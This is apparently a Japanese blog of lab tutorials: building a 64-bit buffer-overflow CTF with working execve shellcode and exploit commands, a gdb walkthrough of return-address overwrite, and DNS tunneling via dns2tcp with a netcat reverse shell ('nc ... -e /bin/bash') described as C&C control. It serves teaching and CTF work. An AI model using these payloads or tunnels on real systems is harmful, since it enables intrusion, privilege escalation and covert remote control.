BufferOverFlow 64bit for CTF

CTF問題用に脆弱性のある64ビットプログラムの問題を作成する。

脆弱性のあるコード

このプログラムはfoo関数において64バイトの変数を宣言している。64バイトを超える入力があるとBoFが引き起こされる。今回はShellCodeを流し込んでBoFにより64ビットプログラムで/bin/shを起動する実験をする。
そのまえにまずShellCodeを作る必要がある。/bin/shを起動するにはLinuxのシステムコールであるexecveを呼び出す必要がある。その際に各レジスタに設定すべき値は以下となる。
 raxレジスタ:execveシステムコールの識別子である59を入力
 rdiレジスタ:第一引数を入力。今回は ”/bin//sh\0″を入力。
       ※ / が2個あるのは8バイトにするため。
 rsiレジスタ:第二引数を入力。今回は「”/bin//sh\0,NULL”」を入力。
 rdxレジスタ:第三引数を入力。今回は「”NULL”」を入力。

レジスタ状態を上記に設定した状態でCPUがsyscall命令を実行すると、Linuxのシステムコールexecveが呼び出され/bin/shが実行される。レジスタ状態を上記に設定するアセンブリコードは以下となる。

section .test
global _start

_start
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx + 59]
syscall

上記アセンブラコードを以下のコマンドでアセンブルする。

nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.p

これで/bin/shを実行するバイナリが出来上がる。
このバイナリをobjdumpコマンドでシェルコードとして表示させる。

[root@ns2 vuln]# objdump -d shellcode

shellcode: file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
40008b: 2f 73 68
40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp,%rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp,%rsi
400097: 48 8d 42 3b lea 0x3b(%rdx),%rax
40009b: 0f 05 syscall

表示された16進数文字がシェルコードとなる。

“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05”

今回のシェルコードは29文字となっている。プログラムをgdbで解析すると、foo関数のStackメモリとしては宣言通り64バイトが確保されている。この64バイトの下にはベースポインタ(8バイト)とリターンアドレス(6バイト)がある。
したがって、BoFを起こしてリターンアドレスを書き換えるには以下のようになる。

shellcode(29バイト)+調整バイト(43バイト)+リターンアドレス(6バイト)

リターンアドレスにはshellcodeのアドレスを提示する必要がある。
今回のプログラムではこのリターンアドレスがわかるようにfoo関数内で宣言した変数cのアドレスを表示するようにしている。ここで表示されるアドレスをセットすることでBoFが可能になる。

./vuln.out $(python -c ‘print(“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05” + “\x90″*43 + “リターンアドレス”)’)

ただし、以下の注意点がある。
引数として入力した文字はMain関数のスタックに積まれるため、引数のバイト数によりfoo関数内でのスタックメモリアドレスも変化する。
例えば
 vuln.out 100 とした場合の変数cのアドレスと
 vuln.out 1000000 とした場合の変数cのアドレスは変わってくる。

したがって、BoFを成功させるには一度、上記のシェルコード、調整バイト、仮のリターンアドレスを流し込み、その際に表示される変数cのアドレスにリターンアドレスを変更させて再度実行する必要がある。
※ここでいろいろ悩んだ。
 追記:BoF後に権限昇格するには以下が必要
    ・脆弱性のあるプログラムにsetuidビットが設定されていること
    ・プログラムOwnerがrootの場合
      メインプログラムでsetuid関数で権限を設定していなくても
      流し込むShellcode上でsetuid実行することで任意のユーザへの
      権限昇格が可能。
    ・プログラムOwnerがroot以外の場合
      メインプログラムでsetuid関数を呼び、そのユーザの権限を明示的に
      設定する必要がある。(例:setreuid(1002,1002); )
      その後に流し込むShellcodeは/bin/shを呼ぶだけで、そのユーザの
      権限になれる。
    
■CTFのシナリオについて

シナリオ1
脆弱性のあるプログラムにsecretFunction関数がある。これを呼び出せ。secretFunctionが呼び出されると、脆弱性のある関数の権限でしか読みだせないflat1.txtの中身が表示され、Flagを得ることができる。
※脆弱性のあるプログラムとflag1.txtの実行、読み取り権限を設定するのがポイント

シナリオ2
脆弱性のあるプログラムをBoFにより/bin/shを起動させ、flag2.txtの中身を表示させFlagを取得せよ。

Buffer Overflowについて

Buffer Overflowの仕組みについて脆弱性のあるプログラムを用いて説明します。

脆弱性のあるプログラム Vuln.c

#include <stdio.h>
#include <string.h>

int main();
int foo();

int main(int argc, char *argv[]){

char *a;

a = argv[1];
printf(“argv[1] = %s\n”,a);

foo(a);
printf(“Program finished\n”);
return 0;

}

int foo(char *b){

char c[10];

strcpy(c,b);
printf(“c = %s\n”,c);

return 0;
}

void secretFunction()
{
printf(“Congratulations!\n”);
printf(“You have entered in the secret function!\n”);
}

vuln.cプログラムはmain、foo、secretFunctionの3つの関数を定義しています。プログラムは以下のような動作をします。

1.実行する際の引数をmain関数上で表示
2.その後、引数のポインタをfoo関数に引き渡し、さらにfoo関数上で表示
3.最後にmain関数に戻り”Program Finished”と表示

ただし、secretFunction関数はどこからも呼び出されていない関数です。今回、Buffer Overflowにより呼び出されないはずのsecretFunction関数を呼び出せるか検証します。
ではまず最初にvuln.cをgccでコンパイルして実行してみます。

vuln.exeプログラムに引数として”123″を渡して実行したところエラー無く動作しました。vuln.exeは引数として入力された文字をfoo関数に引き渡し、foo関数内のstrcpy関数によりローカル変数cにコピーされます。strcpy関数は入力されたデータのサイズをチェックせずにコピーする脆弱性のある関数です。変数cは10バイトの容量しかないため、10バイトを超えるデータを引数として入力すると本来書き込んではいけないメモリ領域を上書きするBuffer Overflowが発生してしまいます。では引数に10バイトを超えるデータを入力してみましょう。

引数として「123456789011112222333」(終端文字含めて22文字)を入力すると「Program finished」が表示されプログラムは終了しました。しかし、1文字多い「1234567890111122223333」(終端文字含めて23文字)を入力すると「Program finished」は表示されません。何が起こったのでしょうか。デバッガツールであるgdbを用いて確認しましょう。

gdbを起動したところ

Breakpointをmain関数とfoo関数を定義します。Breakpointを設定することでその地点での処理をgdbがstopし、その時点でのstackの状態などを確認することができます。

ではgdb上でvuln.exeプログラムを実行しましょう。「r 123」として引数に123を渡してプログラムを実行します。実行するとBreakpointであるmain関数の入り口でプログラムがstopします。その際の命令コードの位置をdisasコマンドで確認します。foo関数は「0x0040146a」で呼び出され、終了するとmain関数の「0x0040146f」に戻るようになっています。

では続けてプログラムを実行します。プログラム継続のコマンである「c」を入力します。同じくdisasコマンドを実行すると、foo関数内に入ったことがわかります。

「info frame」コマンドでfoo関数終了後のreturn addressを確認します。return addressは「saved eip」として表示されます。この場合は「0x40146f」で、main関数でfoo関数を実行した後の命令番地と一致しています。

「stepi」コマンドでプログラムを実行していきます。途中でstrcpy関数等に処理が移り、foo関数に戻ってきた地点のスタックの状態を「info frame」コマンドで確認します。

return addressである「saved eip」はもとのままの「0x40146f」を示しています。

処理を継続する「c」コマンドを入力すると「Program finished」と表示され正常終了したことが確認できます。
 では次に用意されたメモリ領域である10文字を超えるデータを入力してみます。入力するデータは「r AAAAAAAAAABBBBCCCCDDDDEEEE」の26文字を入力します。

最初のBreakpointであるmain関数上のprintfでは問題なく表示されています。処理を継続して次のBreakpointであるfoo関数に入ります。

foo関数に入った時点でのreturn addressを「info frame」で確認すると「0x40146f」であり正常な値となっています。ここから「stepi」コマンドで「strcpy」関数が終了するまで処理をすすめます。

strcpy関数を実行後のdisasコマンドとinfo frameコマンド実行結果です。disasコマンドによりstrcpy関数は終了したことがわかります。そしてinfo frameコマンドの結果である「saved eip」を確認すると「0x45454545」と変わってしまっています。0x45はアスキーコードでいう「E」を示します。つまり、foo関数終了後に戻る予定のreturn addressが入力値である「AAAAAAAAAABBBBCCCCDDDDEEEE」によって、最後の4文字「EEEE」に書き換えられたことを示しています。

プログラムを再開すると、return addressが書き換わっているためmain関数に戻れずに「Segmentation fault」のエラーとなって異常終了となります。

原理を以下に説明します。
1.foo関数内で変数cのメモリ領域を10バイト宣言される。実際にはコンパイラにより18バイトのメモリ領域が確保される。
2.18バイトのメモリ領域の次の4バイトはstackのベースポインタを示すebpの値が入っており、その次の4バイトにreturn addressが格納されている。
3.したがって、入力値として26バイト「18バイト(変数c)+4バイト(ebp)+4バイト(return address)」を入力することでBuffer Overflowを発生させて任意のアドレスに飛ぶことができる。

これらを踏まえ、secretFunctionを読みだす脆弱なプログラムvuln2.cを以下に示します。

#include <stdio.h>
#include <string.h>

#define FILEPATH “arg.bin”

int main();
int foo();

int main(int argc, char *argv[]){

char *a;
char linebuf[100];
FILE *fp;

memset(linebuf, 0, sizeof(linebuf));
fp = fopen(FILEPATH, “r”);
fgets(linebuf, sizeof(linebuf)-1, fp);
fclose(fp);

a = argv[1];
printf(“argv[1] = %s\n”,a);

foo(linebuf);
printf(“Program finished\n”);
return 0;

}

int foo(char *b){

char c[10];

strcpy(c,b);
printf(“c = %s\n”,c);

return 0;
}

void secretFunction()
{
printf(“Congratulations!\n”);
printf(“You have entered in the secret function!\n”);
}

このプログラムはバイナリファイルを入力データとして表示するプログラムに変更しています。バイナリデータはA×22+リターンアドレス4文字を用意します。リターンアソレスとして「E9 14 40 00」と入力しますが、リトルエンディアンのため実際のアドレスは「0x004014E9」のアドレスに飛ぶことになります。

さて、「0x004014E9」は何でしょうか?これはsecretFunction関数のアドレスです。gdbにおいて「info functions secretFunction」コマンドで実行したい関数のアドレスを予め調べておいたのです。

ではgdbでvuln2.exeがどのように実行されるか見ていきましょう。main関数でのdisas結果をみると、foo関数の次に実行されるアドレスは「0x004014a4」であることが確認できます。

foo関数内に入った後のsaved eipは「0x4014a4」です。これはmain関数への正常な戻りアドレスです。

strcpy関数が終了するまでstepiコマンドで命令を進めます。

strcpy関数終了後のinfo frameコマンドの結果です。saved eipの値は「0x4014e9」と書き換えられたことがわかります。さらに処理を続けるとsecretFunctionが実行され「Congratulations!」と表示されました。

このように脆弱なプログラムとgdbを使うことでBuffer Overflowにより任意のアドレスへ命令を移せることを確認できました。

※補足
■バイナリデータの入力について
 vuln2.cのようにバイナリデータをファイルとして読み込む方法以外に以下の方法でもバイナリデータを入力可能です(CentOS7で確認)。この方法であればvuln.cのプログラムでも検証可能です。
 python -c ‘ print “A” * 22 + “\xe9\x14\x40\x00” ‘ | xargs ./vuln.out
 or
 ./vuln.out $( python -c ‘print (“A”*22 + “\xe9\x14\x40\x00”)’ )

■gccでのコンパイルについて
 CentOS7のgccのデフォルトでは64ビットでコンパイルされます。今回の実験は32ビット環境で実施しますので「-m32」オプションをつける必要があります。
 ただし、以下のパッケージが必要となります。
 yum install glibc-devel.i686
 yum install libgcc.i686

■Shellcodeの流し込みについて
上記説明はテキストエリアにある関数を呼び出していましたが、Stackメモリに/bin/shを実行させるShellcodeを送り込み実行する方法についても記載します。
1.ASLRを無効化
 ASLRを無効化することでStackメモリアドレスのランダマイズを無効にします。
 $ sudo sysctl -w kernel.randomize_va_space=0
2.CanaryおよびDEPを無効化するようコンパイル
 $ gcc -fno-stack-protector -z execstack -m32 vuln.c -o vuln.out
3.gdbでスタックメモリサイズを確認
 $gdb vuln2.out
  disas fooでfoo関数内で変数c用に確保されるサイズを確認する。
 ※送り込むshellcodeの長さが24バイトあるので、ソースコードで変数cのサイズを30バイトと定義しておく。その場合、コンパイルすると38バイト確保される。
4.shellcodeの送り込み
 送り込むデータは
  shellcode(24バイト)+調整バイト+ebp(4バイト)+リターンアドレス(4バイト)となる。gdbの結果から変数cとして確保されるメモリサイズは38バイトであるため、調整バイトは38-24=14バイトとなる。これにebp分の4バイトもプラスして、組み立てるデータは以下となる。
 shellcode(24バイト)+任意の文字(18バイト)+リターンアドレス(4バイト)

実際の実行コマンドは以下となる。
 ./vuln.out $(python -c ‘print(“shellcode” + “\x90” * 18 +リターンアドレス “\x62\xd0\xff\xff”)’)

 起動を確認したshellcodeは以下。
shellcode:
\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
★成功させるポイント
 Overflowさせる変数cのポインタを表示させるようにプログラムしておきます。
 例:printf ( “address = %p\n”,buf )
 何度か実行してそのアドレスが変わらないこと(ASLRが無効になっている)を確認します。
 そのアドレスをリターンアドレスとして最後の4バイトに入れます。

DNSセキュリティについて

DNSセキュリティについて

C&Cサーバとの通信にHTTP/HTTPS以外にDNSプロトコルを用いた手法があります。今回はdns2tcpというツールを用いてDNSプロトコルの中にSSH通信をトンネリングする試験をします。

■構成
通常のDNS通信とDNSプロトコルを用いたDNSトンネリングのイメージを示します。


■dns2tcpの設定

1.dns2tcpのダウンロード
  https://github.com/alex-sector/dns2tcp/releases

 Source Codeをダウンロードし任意のフォルダに展開
 wget https://github.com/alex-sector/dns2tcp/archive/v0.5.2.tar.gz
 tar xzvf v0.5.2.tar.gz


2.コンパイルとインストール
 ダウンロードしたファイルを展開したディレクトリに移動
 cd dns2tcp-0.5.2
 ./cofigure
 make
 make install

3.サーバ側の起動
 dns2tcpd -F -d 3 -f ./.dns2tcpdrc
 →設定ファイルである .dns2tcpdrcファイルを読み込んで実行
 .dns2tcpdrcファイルの内容
 listen=0.0.0.0  →偽DNSサーバとして待ち受けるIPアドレス
 port=53 →DNS待ち受けポート
 user=root →起動するsshコマンドの実行権限(一般ユーザだと失敗する)
 key=password →クライアント(dns2tcpc)から接続するためのパスワード
 domain=sub.test.local →偽DNSサーバとして待ち受けるドメイン名
 resources=ssh:127.0.0.1:22 →クライアント(dns2tcpc)に接続させるコマンド(ssh)

4.クライアント側の起動
 dns2tcpc -d 3 -f ./.dns2tcpcrc
 →設定ファイルである .dns2tcpcrcファイルを読み込んで実行
  .dns2tcpcrcファイルの内容
 domain=sub.test.local →偽DNSサーバのドメイン名
 resource=ssh →クライアント上で実行するコマンドの指定(ssh)
 local_port=2222 →クライアント上で実行するコマンドの待ち受けポート
  key=password

5.実行
・クライアントマシンにおいて自身の2222ポートにssh接続を行う
・クライアントソフト(dns2tcpc)は指定されたドメイン(sub.test.local)にsshコマンドをDNSプロトコルに化かして送信
・サーバソフト(dns2tcpd)は受け取ったDNSパケットを紐解き、自身のsshコマンドに接続させる。

つまり、sshプロトコルをDNSプロトコルで隠ぺいすることができる。
※注意事項:ssh認証を鍵認証にしていると失敗するのでパスワード認証にしておく。

■DNSサーバの設定
・named.confの設定例
 zone “test.local” IN {
  type master;
 file “test.local.zone”;
 };
・test.local.zoneファイルの設定例

$TTL 86400

@ IN SOA test.local root.test.local(
 2019112501
 3600
 900
 604800
 86400
)

@ IN NS ns1.test.local.
sub IN NS ns2.sub →dns2tcpdを起動するドメイン
ns1 IN A 10.0.2.50
ns2.sub IN A 10.0.2.51→dns2tcpdを起動するマシンのアドレス

■NetCatによるリバースシェルを使う方法
 NetCatコマンドを使ってサーバ側(dns2tcpd)からクライアント側(dns2tcpc)を操作する方法を示す。

1.サーバ側作業
 設定ファイル .dns2tcpdrc2の内容
  listen=0.0.0.0
  port=53
  user=root
  key=password
  domain=sub.test.local
  resouces=nc:127.0.0.1:4444
 
 上記ファイルを用意し起動
  dns2tcpd -F -d 3 -f ./.dns2tcpdrc2

 さらに下記コマンドを実行
  nc -lvp 4444

2.クライアント側の設定
  以下のコマンドで実行
  dns2tcpc -z sub.test.local -d 3 -k password -r nc -l 4444
 
 さらにクライアント端末上で以下を実行
  nc 127.0.0.1 4444 -e /bin/bash
  →このコマンドを実行するとサーバ側のncコマンドとTCP4444で接続され
   サーバからの入力がクライアントのbashに渡される。

上記コマンド実行後、サーバの「nc -lvp 4444」を実行した画面でコマンドを入力すると、入力した文字がTCP4444番ポートを通ってクライアント側4444番ポートに渡され、さらにクライアント側のbashに入力される。
つまり、C&Cサーバからクライアント端末を操作できるようになる。